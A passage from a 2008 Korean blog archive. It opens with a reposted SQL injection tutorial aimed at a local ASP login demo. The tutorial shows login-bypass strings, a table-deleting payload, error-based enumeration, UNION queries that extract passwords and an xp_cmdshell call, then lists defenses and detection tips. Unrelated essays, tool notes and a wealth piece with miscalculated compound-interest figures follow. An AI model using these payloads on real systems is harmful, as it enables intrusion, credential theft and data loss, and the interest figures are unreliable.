이라는 id가 존재하기 때문에 위 쿼리는 정상실행되고 불법사용자는

admin
으로 로그인 하게 된다.


사례2>비밀번호 입력란에‘(홑따옴표) or 조건 및 주석문 삽입으로 역시 불법 로그인 시도

삽입값 : ' or 1=1;--    
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;--'
결과 :
 
비밀번호를 검증하는 부분에 1=1 이라는 항상 참인 조건을 or 조건으로 삽입했다
.
 
역시 admin으로 로그인이 성공하게 된다.


사례3>> 아이디 컬럼명을 알고 있을 경우 불법 로그인 성공(충분히 알 방법이 있습니다)

삽입값 : 1’ or MemberID=’admin
실행되는 쿼리 :
  Select * From Tbl_Members Where MemberID = 'admin' And Password = '1'
  or MemberID='admin'
결과 :
 
역시나 or 조건이 참이므로 admin으로 로그인이 성공하게 된다.


사례4> 회원테이블 명을 알고 있을 경우 회원테이블 삭제를 시도한다(아주 치명적입니다)

삽입값 : ' or 1=1;Delete From Tbl_Members--
실행되는 쿼리 :
Select * From Tbl_Members Where MemberID = 'admin' And Password = '' or 1=1;
  Delete From Test-- '
결과 :
 
회원테이블의 삭제를 시도 합니다. 보통 로그인을 처리하는 데이터베이스 계정은

 
회원테이블의 삭제 권한이 있지요.. 따라서 아주 자~알 삭제됩니다


위 방법은 아주 SQL Injection 의 아주 보편적이고 전형적인 방법들입니다.
이외에도 무수히 많은 형태의 조합이 나오겠지요..(조금만 생각해보면 아주 많죠)
정말 큰일이 아닐 수 없네요..
다음으론 의도적인 SQL 오류를 발생시켜서 데이터베이스의 유용한 정보들을
깨내는 데모를 보여드리겠습니다




☞ 공격2> 의도적인 에러유발 후 데이터베이스 정보 유출 시도

사례1> 컬럼명 알아내기

로그인 폼을 소스보기 하면 MemberID 텍스트 박스의 name 정보를 알수 있습니다.
이것을 활용해 회원테이블의 패스워드 컬럼명을 알아내 봅시다

아래와 같은 url IE에서 바로 접근한다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
IE
는 친절하게도 아래와 같은 아주 친절한(?) 오류메세지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'
아무거나' And Password = '' 문자열 앞에 닫히지 않은 인용 부호가 있습니다
.
/SQLInjection/LoginOK.asp,
20


  결과 : 위 오류메세지로 인해 비밀번호 컬럼명이 Password 란 것을 알 수 있습니다.



사례2> 테이블 명 알아내기

  알아낸 패스워드 컬럼을 그룹핑 합니다.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나'
   group by (Password) --
  역시 ie는 친절하게도 아래와 같은 오류 메시지를 보여줍니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.MemberID'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20

  결과 :
여기서 우리는 회원테이블명이 Tbl_Members 라는 것을 알수 있습니다

(
덤으로 컬럼명도 하나더 얻었네요 ^^)
추가적으로 다른 컬럼들도 알아내 봅시다.
이미 알아낸 MemberID,Password 컬럼을 group by함으로써 또 다른 컬럼명을

얻을 수 있습니다
. ( group by (Password),(MemberID) )
이 방법으로 모든 컬럼을 알 수 있습니다.(암울 하지요
-.-)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=
아무거나
' group by (Password) , (MemberID) --

Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
'Tbl_Members.Name'
열이 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다
.
/SQLInjection/LoginOK.asp,
20


또 다른 컬럼명(Name)를 알수 있지요..
이런식으로 계속 해 나가면 Tbl_Member 테이블에 모든 컬럼을 알 수 있게 됩니다


  사례3> 특정 테이블 컬럼의 데이터타입 알아내기
  위에서 알아낸 테이블 컬럼명을 사용해서 타입이 다르도록 유도하여 UNION을 시킵니다.
  (
공격자는 시간이 아주 많고 끈기도 강합니다. 무수한 조합이라도 무수히 시도합니다
)
  마침 아래에 Age 필드를 맨 앞으로 놓으니깐 아래과 같은 오류가 납니다
.
  http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --

  이랬더니 아래와 같은 오류가 나옵니다


Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


 

  결과
  즉 회원테이블의 MemberID컬럼의 타입이 varchar이란 것을 알게 되었습니다.
  (
아무것도 아니죠?? 이미~~ 예상했던 타입입니다.. 만 공격자들은 이런곳에서도

  희열을 느낍니다. .. 사실 저도 테스트 중에 많은 희열을 느낍니다 ^^;)

  내부적으로 실행된 코드는 아래와 같겠죠..

  Select * From Tbl_Members Where MemberID = 'admin'

  UNION Select Top 1 Age,Password,MemberID,Name FROM Tbl_Members --' And Password = ''

  여기까지만 해도 회원테이블의 테이블명, 컬럼명, 컬럼의 데이터 타입의 정보를
  모두 캐낼 수 있습니다.



☞ 공격2> 회원아이디 및 비밀번호 알아내기
  (
아주 흥미로운 결과를 알 수 있습니다)
위에서 회원가입폼에서 아이디중복확인 이라는 곳에서 존재하는 아이디를
알 수 있다고 했습니다
그러나 이 방법은 좀 무식하지요.. (회원아이디를 모르는 상태에서 무작위로 검사를 하니깐)
우리는 이미
회원테이블의 많은 것(?)을 알고 있는 상태입니다.
굳이 아이디중복확인 이라는 방법을 사용할 필요가 없습니다

가정을 하나 해보겠습니다.
만일 서버에 아래와 같은 동적 쿼리가 있다고 칩시다
.
SQL = “Select Age From Tbl_Members Where MemberID = ‘” & MemberID & "'"
회원아이디를 입력 받아서 나이를 돌려받는 쿼리 입니다
.
물론 위와 같은 동적쿼리가 서버에 있다는 보장은 없습니다
.
그러나 굳이 찾으려고만 든다면 찾을 수 있습니다
.
중요한 것은 위 쿼리처럼 varchar(nvarchar) 이 아닌 컬럼(위에서는 Age)을 돌려주는
쿼리를 찾으면 됩니다(예상 가능한 항목이 많지요..^^)

여하튼 위와 같은 쿼리가 있구요


보통 회원아이디와 비밀번호는 스트링형태로 저장됩니다.
따라서 varchar 이나 nvarchar 일 가능성이 큽니다
.

사례1> 회원테이블에서 모든 회원 아이디 얻기

Age
컬럼과 MembeID 컬럼을 UNION 함으로써 회원테이블의 첫번째 회원의
아이디를 알아 봅시다
.
위에서 이미 알아본 방식입니다만, 다시 언급합니다
.

공격방법
>
아래와 같이 웹브라우저에서 바로 접근

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members --
실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'admin'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
~~
여기서 우리는 회원테이블에 첫번째로 저장된 회원id admin 임을 알아 냈습니다.


좀더 해볼까요… (모든 회원아이디를 다 알아봅시다)
admiin
을 알아냈으니 두번째로 저장된 id를 알아 봅시다

아래와 같이 실행 합니다(admin 아이디를 제외한 아이디란 말이죠)
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID
NOT IN ('admin') --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin') --'

- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'test'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 두번째 아이디는 test 이군요..

재밌지요?? 한번만 더 해봅시다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin','test') --

실행되는 쿼리
:
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 MemberID FROM Tbl_Members Where MemberID NOT IN ('admin',’test’) --'

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'babo'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20


결과 : 세번째 아이디는 babo 군요.. 캬캬..


이런식으로 계속 시도하면 회원테이블의 아이디를 모두 알 수 있겠죠..

.. 그럼 아이디는 이제 그만 하구요.. 핵심.. 비밀번호를 알아봅니다


사례2> 특정 회원의 비밀번호 알아내기
이제 아이디를 많이 알아냈으니 그 아이디들의 비밀번호를 알아볼 차례입니다.

아래와 같이 실행합니다

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1
Password FROM Tbl_Members Where MemberID = 'admin' --

실행되는 쿼리 :
Select Age From Tbl_Members Where MemberID = 'admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'admin' --'


- 오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'haha'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 :
드뎌 나왔습니다. 너무나도 친절하게도

admin
의 비밀번호는 haha 라고 ie는 말해 줍니다.. 신이시여..

이 희열.. 이 감동.. 난 해커야.. 캬캬


그럼 babo 이놈의 비밀번호는 뭘까? 궁금해 집니다.
http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin' UNION Select Top 1 Password FROM Tbl_Members Where MemberID = 'babo' --

-
오류메세지 -

Microsoft OLE DB Provider for SQL Server 오류 '80040e07'
varchar
'huk'() int 데이터 형식의 열로 변환하는 중 구문 오류가 발생했습니다
.
/SQLInjection/LoginOK.asp,
20

결과 : 캬캬.. huk 라는 비밀번호를 쓰는군요 (역시 babo 스럽습니다..)


이렇게 하여 우리는 회원테이블에 모든 아이디와 비밀번호를 알 수가 있었습니다.

중간 점검 :
사용자 입력값의 검증 못지않게 웹서버의 에러페이지에 관한 핸들링도 상당히

중요합니다, 기본적으로 에러페이지는 커스텀에러페이지를 따로 만들어 사용합시다


공격4> 시스템 명령어 실행

http://localhost:1212/SQLInjection/LoginOK.asp?MemberID=admin'; EXEC master.dbo.xp_cmdshell' cmd.exe dir c:'--

MSSQL
내장프로시저 xp_cmdshell 을 이용하여 웹서버의 C디렉터리 정보를
캐내려 합니다.(시스템 명령 실행 가능)
이와 같은 내장 프로시저는 아주 많지요
..
ex: xp_grantlogin(
로그인 권한 승인) , xp_regdeletekey (레지스트리 키 삭제) 등등..


이로써 아주 쉽고도 강력한 공격방법들을 알아 보았습니다
생각하면 할수록 새로운 방법들이 새록새록 나올 것입니다.
SQL Injection
은 쉬운 공격에 반해 그 피해는 아주 크다고 볼 수 있습니다
.
그럼.. 본 글을 핵심
!!
SQL Injection 의 완벽 대응책을 알려 드립니다



SQL INJECTION 의 대응책

* 인젝션 공격의 취약성
원인 : 사용자의 입력값을 검증하지 않음

위험요소 : 동적쿼리, 사용자 입력값을 파라메타로 넘겨받는 저장 프로시저
공격유형
  1.
불법 로그인 시도
  2.
고의적 에러발생 : 데이터베이스 조회(db,table,column, 타입등) 후 공격
  3.
시스템 명령어 삽입
  4.
계정/비밀번호 확인
  5.
위험쿼리 실행(DROP,DELETE,UPDATE )
  6.
기타 등등


* 공격 대응책
1. 사용자의 입력값을 받아서 동적쿼리나 저장프로시저를 실행하는 곳이 있다면
 
반드시 그 입력값을 검증하라.
 
위험요소가 있는 입력값은 아래와 같습니다.
  ‘ (
홑따옴표) , -- (sql주석) , ;(sql명령구분자) , “(쌍따옴표), =
 
이런 값들은 원천적으로 봉쇄해버리는 것이 좋습니다
 
2.
서비스 SQL 계정의 권한을 최소한으로 하라.
  SQL
계정의 권한이 막강하다면 시스템명령어 수행, DROP, Delete 등 수행가능
 
또한 Select 권한과 update/delete/insert 권한을 따로 둔다.

3.
웹페이지의 오류정보는 숨겨라.
 
의도적인 sql구문 오류를 유발하여 에러메시지를 보고자 하는 공격에 대비하여
 
커스텀 오류페이지를 따로 만들어서 최소한의 정보만 보여주는 것이 좋습니다.
  (ASP.NET
에서는 관리자만 볼수 있는 오류페이지와 일반 사용자가 볼수 있는
 
오류 페이지를 따로 구분할수 있는 XML기반의 설정파일이 제공됩니다.
 
이 역시 이런류의 문제점을 방지하고자 MS에서 제공하는 것이겠지요??)
  ASP
PHP JSP 는 커스텀 오류페이지를 나타나게 할 수 있습니다.
  (
다 알지요?)

4.
.. 뭐가 있을까요
 
.. 만에 하나를 대비하는 DB백업.
 
.. 다들 고민 해 봅시다.

* SQL Injection
공격하는 놈 찾아내기
 
위의 공격방법 중 의도적인 오류를 발생하는 부분이 있었습니다.
 
이 경우 웹서버는 이런 오류를 500 (서버오류) 로 나타냅니다.
 
500 오류에 대한 로그를 확인해서 특별히 오류가 나타날 소지가 없는
 
페이지에서 계속적으로 500 오류가 난다면 우선 의심해 봐야 합니다.

또한 동일한 페이지를 계속적으로 로딩하는 놈이 있다면 역시 의심대상입니다.
SQL Injection
은 여러 번 시도해봐야 유용한 정보를 캐낼 수 있습니다
따라서 동일한 페이지를 계속 호출하는 클라이언트가 있다면 응징의 대상일
가능성이 높습니다.

웹서버를 운영하는 회사에서는 될 수 있으면 많은 로그를 남기는게 보안상 좋습니다.
또한 로그파일의 주기적인 점검 또한 수반되어야 겠지요..
당신이 프로그래머라면 로그파일을 자동으로 분석해 SQL Injection 공격을
찾아내는 좋은 프로그램을 개발 할 수도 있을 것입니다

출처 : Tong - nicekiller77님의 데이터베이스통

2008/05/19 16:51 2008/05/19 16:51
사용자 삽입 이미지
2008/04/30 13:20 2008/04/30 13:20

숲 속의 통치자 호랑이는 동물들을 거느리느라 온갖 어려움을 겪어야 했다. 그러면서 자기한테도 약한 면이 있다는 것을 알게 되었는데, 바로 자기가 너무나 외롭고 고독하다는 사실이었다. 그역시 다른 동물들처럼 어울려 놀 수 있는 친구가 필요했과, 과오를 범했을 때 과감히 충고해줄 진정한 친구가 필요 했다.
그래서 원숭이를 불러 물어보았다.
자네, 내친구 맞지 ?
원숭이가 반색하며 대답했다.
문론입니다. 전 영원히 당신의 충실한 친구입니다.
호랑이가 물었다.
그렇다면 왜 내가 매번 과오를 범할 때마다 네 충고를 들을 수가 없었던 거지 ?

원숭이가 한참 머리를 굴리는 듯하더니 조심그레 입을 열었다.

전 단지 대왕님의 부하로서 맹목적으로 존경해오기만 했지
대왕님의 결함 같은 건 미처 찾아볼 겨를이 없었습니다.
그 문제라면 차라리 여우한테 물어보시는게 좋을 것 같습니다.

그래서 호랑이가 이번에는 여우를 불러 들였고,
똑같은 질문을 받은 영우는 이렇게 대답했다.
원숭이 말이 맞습니다. 대왕님은 신처럼 위대하신 분인데,
감히 누가 대왕님의 결함을 찾는다고 하겠습니까.

-

많은 보스가 호랑이처럼 고독감을 느낄 문론 나도 그렇다.
조직의 상하구조  특성상 보스와 그 수하 사이에는 깊은 도랑이 가로놓여 있다. 모든 수하가 보스를 마치 호랑이 대하듯 멀찌감치 피해 다닌다. 잘못을 지적했다간 괜히 잠든 호랑이의 수염 뽑는 격일 테니까 .
또 어떤 수하는 보스의 과오를 지적하기는 커녕 망신당하는 꼴을 지켜보고 싶어할지도 모른다. 심한 경우는 보스가 쫓겨나는 걸 고대할 수도 있다
보스가 수하들로부터 자신의 실질적인 결함이나 과오를 지적받기 위해서는 해야할 일들을
생각 했다.
1. 용감한 사람만이 남의 허물을 지적해줄 수 있다.
2. 잘못을 지적해준 사람에게 그로 인한 인센티브를 줄수 있어야 한다
3. 시비를 명확히 구분할 줄 아는 안목과 너그러움을 지녀야 한다.
오늘 월요일 아침이다.
한주를 시작 하는 월요일이라 그런지.. .. 어께가 더 무거워 진다..

2008/04/21 12:13 2008/04/21 12:13

오늘 .. 서울에서 내려 오면서 .. . .. 이것 저것 신경써야할 일들 때문에 ..머리가 너무 아파..


잠시 서점에 들어가.. IT 관련 서적들을 보고 있었다..


쭉보고.. .. .... .회사에 들어가야지 하면서..  나오는 순간 .. 내눈에 보이는 그책.


회사에서.. 생각없이 책을 펼처 보았는데 처음 눈에 들어 오는 내용..

-

한수만 높으면 천하를 다 삼킬 수 있다.

많이 앞서나갈 필요가 없다. 한발만 앞서나가면 된다.
두 발 앞서나가거나 반발 뒤처지면 시대에 부응하지 못하고 실패하고 만다.

-
이런 내용이다..

아 그렇구나.. ..한수만 높으면 천하를 다 삼킬 수 있다. 세상 모든 사람들이 아는 사실이다.

책을 읽는 사람이 어떤 생각을하느냐 어떤 상황이느냐에 따라서.. 받아 드리는 결과가 틀리다.

나는 [많이 앞서나갈 필요가 없다 .] 이문구만 눈에 보였다.

무었때문일까...................................................................................................

한발 이상 앞서 나간다면 그때부터는 주위에 시기를 받기 시작한다.. ..

2008/04/17 16:21 2008/04/17 16:21

세계 최고의갑부인 카네기가 외국으로 나갈때 마다


낡은 호텔에 묵자 한 사람이 카네기한테 물었다.."아드님은 최고로 좋은


호텔만 찾는데 왜 낡고 안좋은 호텔만 찾습니까..?"


그러자 카네기는 대답했따.."내 아들은 부자 아버지가 있지만..


난 부자 아버지가 없었거든요..."


자수성가한 사람들은 정말 멋지고 대단하거 같아요^^

2008/03/26 21:11 2008/03/26 21:11

문자 메시지가 아닌 알림 메시지라고 스팸 문자가 왔다. 이동통신 사업자에서 보낸 것 처럼 통화:연결하기가 포함된... 080-885-0038으로 부터 온 것. 구글링을 해 보니 두 개의 글이 검색이 된다. 물론, 스팸이었다 라는 내용이다.

한동안 뜸했었는데 요새 또 스팸 문자들이 종종 수신된다. 주위 사람들에게도 슬슬 이런 얘기들이 들리고... 그래서 스팸 메시지를 신고해야겠다는 생각이 다시금 강하게 들어, 불법 스팸 대응 센터를 찾아 스팸 문자를 신고했다.

광고를 보낸 사업자가 정말 처벌을 받게 될지는 모르겠지만, 불법 스팸 전송자에 대한 행정 처분을 원한다에 동의 했다.

짜증나... 이런 식으로 다른 사람들에게 피해를 주면서 돈을 벌려는 사람들은 좀 더 강한 처벌을 받았으면 좋겠다.

2008/03/26 18:49 2008/03/26 18:49
이미지 로더(업로더가 아님)
  • YUI-Image Loader - 화면에 이미지가 출력될 시간을 조절하는 라이브러리(초기 로딩시간을 지연시켜 Performance에 대한 효과를 얻을 수 있다.)
슬라이더
Context Menu - 마우스 오른쪽 버튼을 눌렀을 때 나오는 팝업 메뉴
JavaScript to HTML
SVG
  • InputDraw - 결과물을 SVG로 저장할 수 있게 해준다. 입력은 Flash로 받는다.
  • reflex.js - 이미지가 반사된 효과(Cover flow effect)를 내게 해주는 라이브러리입니다. (ff1.5+, opera9+, ie6+ 를 지원합니다.) 반사된 효과를 주고 싶은 이미지 태그에 class="reflex"를 설정하면 onload 타임에 반사효과를 보여줍니다.

Editor
  • Rich Text Editor - YUI 2.3에 포함되어 있다. Safari 2.0을 지원한다. Selection을 에뮬레이션을 한다. 가볍다.
  • Code Press - 입력 시 Syntax Highlighting을 처리한다. 입력하는 텍스트를 파싱하여서 선택한 문법에 따라서, 입력한 텍스트에 태그를 먹이거나 css를 설정한다. 생각보다는 무겁지 않다. 독립적 애플리케이션으로 붙인다면 재미있을 듯..
압축
  • YUI Compressor - 압축률이 DOJO보다 높고 JSMin보다 안전하다. evil 메소드에 대해서는 처리하지 않는다.
Clipping
  • pzImageCombine - 같은 디렉토리에 있는 여러 이미지를 하나의 이미지로 합쳐서 보여주는 라이브러리
Popup
  • Popup Politicians - 팝업을 띄워서 개인의 프로파일을 소개해주는 라이브러리
  • YUI lightbox: Drag&Drop, Image preloading, Max/Minimize dialog
달력
  • DatePicker - prototype.js, script.aculo.us기반의 날짜 선택 컴포넌트

CSS Crossfader
파일업로더
  • SWFUpload: 파일타입지정, 다중파일업로드, 파일크기를 비롯한 파일정보를 업로드전에 리턴, 버튼은 html+css
생략표시

※ 자바스크립트 라이브러리 요약입니다.
※※ 도움이 되셨다면 오른쪽 메뉴 아래에 보이는 광고를 클릭해주세요 쿠쿠쿠 ^^

[출처] 각종 JS|작성자 향피뤼

2008/03/26 18:47 2008/03/26 18:47

사용자 삽입 이미지
What is SWFUpload

A small javascript/flash library to get the best of both worlds - The great upload capabilitys of flash and the accessibility and ease of html/css

FLASH와 JAVASCRIPT로 구성한 다중(?) 업로드 컴포넌트(?)정도 되겠다.
태터에서 파일을 업로드 할 경우 여러 파일을 한번에 선택해서 업로드 하는 방식을 구현해 볼려고 찾다가 발견,
방식은 플래시에서 파일 선택창을 열도록 하고 선택한 파일을 실제 업로드 되는 경로로 던져주는 역활을 한다.

각 상황에(JSP,PHP,ASP.NET...) 적당한 짤막한 소스가 있으며, 사용방법 또한 매우 간단하다.
필요한 여러가지 이벤트 처리기능이 있으며, 플래쉬 액션 스크립트에 자신이 있다면 원본 소스를 제공 하고 있으니 수정하는것도 가능

LINK : SWFUpload HomePage
DOWNLOAD LINK : SWFUpload Download

2008/03/26 18:40 2008/03/26 18:40
밑에 autoghost 가 첫번째 하드디스크를 분할하여 C D 두개의 하드디스크로 쓰지 않고
원래 두개의 하드디스크를 사용할때는 사용이 안되는것 같아
기존 제가 만들었던 부팅시디를 단일 EXE 파일로 만들어보았습니다
윈도우가 아예 작살나 부팅조차 되지 않을시 당연 사용할 수 없습니다
그럴땐 시디부팅 밖에 방법이 없겠죠?
 
 
 
본 프로그램은 윈도우, 오피스, 한글, 즐겨찾기, 기타 자기가 항상 쓰는 프로그램을
처음 설치한 상태(바이러스, 악성코드, 에러 없는 깨끗한)로 자신이 유지하고픈 상태에서
백업해두어 차후 사용시 문제가 생겨 포맷을 하고 윈도우를 재설치하는 수고 없이
5-10분 만에 간편히 복구시키는 프로그램 입니다
한개의 하드를 둘로 나눴거나 실제로 두개의 하드가 있어야 사용 가능 합니다
Norton Ghost v11.0.2.1573은
IDE SATA 방식, FAT NTFS 파일시스템, 비스타 모두 사용 가능합니다
------------------------------------------------------------------------------------------------
윈도우에서 간단하게 EXE파일 실행하시면 가상 A드라이브가 생성되며 부팅됩니다
다음 부팅시에는 평상시 윈도우 부팅이 됩니다
아래는 부팅시 메뉴화면 설명입니다
------------------------------------------------------------------------------------------------
1. Primary HDD Partition,     Recovery
2. Primary HDD Partition,     Backup
3. Primary HDD NO Partition,  Recovery
4. Primary HDD NO Partition,  Backup
5. Ghost
1-2번 : 첫번째 하드를 분할하여 2개 이상의 하드디스크를 사용하는 경우
3-4번 : 첫번째 하드를 분할하지 않고 2개 이상의 하드디스크를 사용하는 경우
5번 : 도스 모드에서 GHOST 프로그램 실행
예) 실제 하드가 1개이고 하드를 분할하여 C D 2개 이상의 드라이브를 사용하는 경우 1-2번
    실제 하드가 2개이고 첫번째 하드를 분할하여 C D E 3개 드라이브를 사용하는 경우 1-2번
    실제 하드가 2개이고 첫번째 하드를 분할하지 않고 C D 2개 드라이브를 사용하는 경우 3-4번
백업시 D:ghost.gho로 자동생성되며 10-15분 정도 소요됩니다
------------------------------------------------------------------------------------------------
메뉴 1-5번에 사용된 명령어
:1
ghost.exe -CLONE,MODE=PLOAD,SRC=1:2ghost.GHO:1,DST=1:1 -SURE -RB
:2
ghost.exe -CLONE,MODE=PDUMP,SRC=1:1,DST=1:2ghost.GHO -AUTO -Z5 -SURE -RB
:3
ghost.exe -CLONE,MODE=PLOAD,SRC=2:1ghost.GHO:1,DST=1:1 -SURE -RB
:4
ghost.exe -CLONE,MODE=PDUMP,SRC=1:1,DST=2:1ghost.GHO -AUTO -Z5 -SURE -RB
:5
ghost.exe
-z5 압축율을 뜻합니다 (범위 1~9) 숫자가 클수록 백업파일 용량은 작아지나 복구속도는 느려집니다
-RB 자동재부팅
출처 : yjcontrol@nate.com
2008/03/19 15:17 2008/03/19 15:17

포춘 100대 기업을 분석하여 업무 만족도가 높은 기업 조직의 특성을 분석하였더니 업무 만족도가 상대적으로 낮은 다른 기업들과 다음과 같은 차이가 있다는 기사를 본적이 있습니다.


첫째, 조직 구성원과 상사 및 경영진간에 신뢰가 높고,

둘째, 구성원들이 조직과 업무에 대해 자부심이 높았으며,

셋째, 업무를 수행하면서 구성원들 사이의 관계에서 재미를 느낀다는 것입니다.



저는 이 분석 기사를 보면서 신뢰, 자부심, 재미에 대해 생각해 보았습니다.



신뢰란 상사와 부하 그리고 경영진 간 서로 믿고 존중하고 배려하는 과정에서 쌓여지는 것입니다. 결국 서로 아끼고 사랑하는 마음이지요.



자부심은 조직원이 행하는 모든 것이 법적 도덕적으로 올바르게 수행되어야 하며 그 결과가 공정하게 평가되고 보상이 되어야 조직과 업무에 대해 자부심을 갖게 됩니다.



재미란 조직원간 신뢰와 자부심을 가지고 업무를 수행하다 보면 서로 가르치고 배우면서 자신과 조직이 성장하고 있다는 사실을 느끼는 것입니다. 그것이 재미 입니다.



팀원들이 서로 믿고 존중하고 배려하고 사랑하는 마음으로 신뢰를 쌓아가며 재미있게 일한다면 (주)오픈코리아는 1.0에서 2.0 / 3.0 으로 성장해 나아갈 것입니다.


2008/03/05 14:47 2008/03/05 14:47
<한국 부자들이 철저히 지키는 8가지 원칙>


[소수의법칙]

부자들은 보통 사람들과 달리 무리를 쫓아다니지 않는다.
오히려 그 무리들의 반대편에서 외로운 전투를 하고 있는 사람들이다.
소수의 편에서 고독한 선택을 해야 하기 때문에 보통 사람들로부터 ‘왕따’를 당할 수도 있다.

그러나 그 덕분에 먹을 것이 있는 곳을 소수가 독차지할 수 있고,
희소성이란 경제적 가치를 점유하게 된다. 소수의 법칙은 역발상에서 나온다.
역발상의 법칙은 보통 사람들과 반대로 생각하고 행동하는 것이기 때문이다.

특히 부자들은 많은 사람들이 몰리는 곳에 관심을 갖기보다는
그 반대쪽에 관심을 두는 자신만의 역발상 안목을 기른 사람들이다.
남들과 똑같이 해서는 결코 좋은 수익을 거둘 수 없다는 사실을 그들은 잘 알고 있다.

‘95퍼센트가 군중 심리에 따라 행동하고, 나머지 5퍼센트만이 군중 심리에 독립적으로 행동한다’
는 통계가 있듯이, 대중과 반대로 행동하기란 쉽지 않다.
요즘 가치로 따져 5000억 달러 이상의 재산을 모았던 카네기는
“부자가 된 비결이 뭐냐”는 질문을 자주 받았다.
그 때마다 그는 “항상 다른 사람들과 반대로 행동했다”라고 말했다.

[기다림의 법칙]

부자들은 과연 운이 좋은 사람들일까?
몇 년 전 한 신문에, 부자들은 대체로 재운이 많은 사람들이라는 통계 기사가 났었다.
물론 큰 부자는 하늘이 낳는다고 하지만,
이른바 사주팔자가 좋지 않은 사람 가운데서도 부자가 많다는 사실을 부인할 수는 없다.
운이 좋으면 다른 사람보다 조금 빨리 부자가 될 수 있을지 모르지만,
행운 하나로 부자가 되기는 쉽지 않다.
행운을 이용할 재능과 추진력 그리고 인내가 있어야 한다.

록펠러가 그랬고, 빌 게이츠가 그랬다.
앤드류 매튜스는 자신의 저서 <마음 가는 대로 해라>에서
“새벽에 일어나서 운동도 하고 공부도 하고 사람들을 사귀면서 최대한으로 노력하고 있는데도
인생에서 좋은 일이 전혀 일어나지 않는다고 말하는 사람을 나는 여태껏 본 적이 없다”
라고 말했다. 부자들은 운이라는 것을 자기편으로 만들기 위해 정말 노력하는 사람들이다.
다시 말해 하늘에서 저절로 떨어진 행운을 기대하는 것이 아니라,
주어진 기회를 적극적으로 활용하는 사람들이다.


그들은 보통 사람들과 마찬가지로 운이 따르지 않아 무수한 실패를 경험했다.
그러나 그들이 보통 사람들과 다른 한 가지는,
행운을 잡지 못한 것을 자신의 준비 부족 탓으로 돌렸다는 것이다.
부자들은 운과 요행을 바라지 않고 오로지 끊임없이 노력하고, 그 결과는 하늘에 맡긴다.
행운은 준비하는 사람, 기다림의 법칙을 아는 사람에게만 미소를 보내기 때문이다.
한 평에 수억 원 하는 땅이 있는가 하면,

시골을 돌아다니다 보면 아직도 평당 몇 천 원짜리 땅이 수두룩하다.
부자들은 지금 당장 몇 퍼센트의 수익률을 올리는 데 연연하지 않고,
땅에 묻어 둔다는 심정으로 투자하는, 기다림의 법칙을 직접 실천하는 사람들이다.

[관리의 법칙]

부자들이라고 해서 돈을 모으는 기상천외한 방법이 있는 것은 아니다.
보통 사람들이 대박과 한탕주의에 빠져 급행 열차를 타고 갈 때,
그들은 완행 열차를 타고 가면서 여유롭게 바깥 세상을 구경한다.


부자들은 일생 동안 서서히 돈을 모아 두었다가,
기회가 오면 맹수같이 목표물을 향해 달려간다.
부자들은 철저한 재산 관리를 통해 불필요한 지출을 최소화하고,
돈의 효율성을 높인 사람들이다.
저축하지 않는 사람이 유일하게 가지고 있는 것은 빚이다.


많은 사람들이 부자가 되길 원하지만 정작 부자가 되는 사람이 적은 이유는,
돈을 많이 벌지 못해서가 아니라, 번 돈의 지출을 통제하지 못해서다.


이러한 점에서 합리적 소비 내지는 절약 정신은 부자들의 좋은 습관이다.
부자의 길로 인도할 또 한 가지 비밀의 문은 복리다.
복리 효과는 ‘투자 수익률과 투자 기간의 상관 관계를 아는 것’에서 출발한다.
복리는 부자의 길을 가는 데 나침반과 같은 기능을 가진 중요한 원리다.
여기서 복리 효과의 놀라운 사실을 한 가지 알려 주겠다.

만약 당신에게 1000만 원 정도의 돈이 있다고 치자. 연 24퍼센트의 수익을 올릴 수 있는
투자 수단을 찾아서 투자할 수 있다면 40년 뒤에는 얼마나 될까?
무려 185억 원을 가진 큰 부자가 된다. 이것이 복리의 마법이다.


1000만 원을 투자해 연 24퍼센트의 수익을 올릴 수만 있다면 80년 뒤에는 34조 원,
100년 뒤에는 2534조 원이 된다. 거짓말인지 아닌지는 직접 계산해 보기 바란다.
